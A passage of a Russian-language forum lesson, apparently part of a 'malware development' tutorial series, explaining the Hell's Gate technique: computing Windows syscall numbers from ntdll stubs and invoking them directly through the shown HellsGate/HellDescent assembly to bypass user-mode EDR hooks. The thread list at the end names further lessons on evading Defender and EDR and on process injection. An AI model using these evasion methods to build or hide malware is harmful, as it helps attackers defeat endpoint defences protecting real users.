if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
    return FALSE;

Вычисление и сохранение SSN

С другой стороны, если найдено успешное совпадение для опкодов, "Врата Ада" будут вычислять номер системного вызова и сохранять его в pVxTableEntry->wSystemCall. Не обязательно понимать вычисление, которое требует знания побитовых операторов, однако те, кто знаком с этим понятием, могут продолжить чтение этого раздела.

Функция сначала использует оператор сдвига влево (<<) для сдвига битов переменной high влево на 8 раз. Затем она использует побитовый оператор OR (|) для сравнения каждого бита первого операнда (являющегося high << 8) с соответствующим битом второго операнда (являющегося low).

C:
pVxTableEntry->wSystemCall = (high << 8) | low;

Для лучшего понимания приведен пример использования системного вызова NtProtectVirtualMemory для демонстрации подхода "Врат Ада" к вычислению SSN.

1696161832561.png


На изображении выше показано, как "Врата Ада" находят опкоды, переходя через хук. Это изображение упрощено до следующего фрагмента:

00007FFCC42C4570 | 4C:8BD1 | mov r10,rcx |
00007FFCC42C4573 | B8 50000000 | mov eax,50 | 50:'P'
00007FFCC42C4582 | 0F05 | syscall |
00007FFCC42C4584 | C3 | ret |

Байты C4C:8BD1 B8 50000000 соответствуют следующим смещениям:

4C имеет смещение 0, 8B имеет смещение 1 и D1 имеет смещение 2, B8 имеет смещение 3, 50 имеет смещение 4, 00 имеет смещение 5 и так далее.
Функция GetVxTableEntry указывает, что переменные high и low имеют смещение 5 и 4 соответственно.

C:
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); // Смещение 5
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); // Смещение 4

Проверка значения смещения 5 показывает, что это 0x00, в то время как смещение 4 равно 0x50. Это означает, что значение high равно 0x00, а значение low равно 0x50. Таким образом, SSN равно (0x00 << 8) | 0x50.

1696162001838.png


Результат побитовой операции совпадает с номером SSN системного вызова NtProtectVirtualMemory, который равен 50 в шестнадцатеричной системе.

1696162031451.png


Вызов системного вызова

Теперь, когда "Врата Ада" полностью инициализировали структуру VX_TABLE_ENTRY целевого системного вызова, они могут вызвать его. Для этого "Врата Ада" используют две функции сборки 64-бит: HellsGate и HellDescent, показанные в файле hellsgate.asm.

Код:
data
    wSystemCall DWORD 000h              ; это глобальная переменная, используемая для сохранения SSN системного вызова

.code
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx            ; обновление переменной 'wSystemCall' входным аргументом (значением регистра ecx)
        ret
    HellsGate ENDP

    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall            ; `wSystemCall` - это SSN вызываемого системного вызова
        syscall
        ret
    HellDescent ENDP
end

Чтобы вызвать системный вызов, сначала нужно передать номер системного вызова функции HellsGate. Это сохраняет его в глобальной переменной wSystemCall для будущего использования. Затем используется HellDescent для вызова системного вызова, передавая параметры системного вызова. Это демонстрируется в функции Payload.

Заключение

Было показано, что обход хуков в пользовательском режиме возможен с помощью прямых системных вызовов, инструмента SysWhispers и техники "Врата Ада".

В следующей статьи ранее реализованные техники инъекции процессов будут изменены для использования системных вызовов вместо WinAPI.
В следующей статьи будет подробный разбор использования SysWhispers3 и HellsGate.
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ